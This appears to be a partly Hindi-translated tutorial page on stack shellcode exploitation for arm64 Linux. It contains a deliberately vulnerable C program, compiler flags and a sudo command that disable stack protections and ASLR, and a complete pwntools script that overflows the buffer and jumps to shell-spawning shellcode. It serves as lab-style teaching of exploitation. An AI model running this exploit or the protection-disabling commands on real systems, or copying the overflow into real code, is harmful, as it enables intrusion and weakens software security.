Stack Shellcode - arm64

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arm64 का परिचय पढ़ने के लिए:

Introduction to ARM64v8

Linux

Code

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compile के बिना pie, canary और nx:

clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

No ASLR & No canary - Stack Overflow

ASLR को रोकने के लिए चलाएँ:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

प्राप्त करने के लिए offset of the bof check this link.

Exploit:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).

मैंने जनरेट किया हुआ core file (gdb ./bog ./core) खोला और shellcode की शुरुआत का असली address चेक किया।

macOS

Check a macOS ret2win example in:

Ret2win - arm64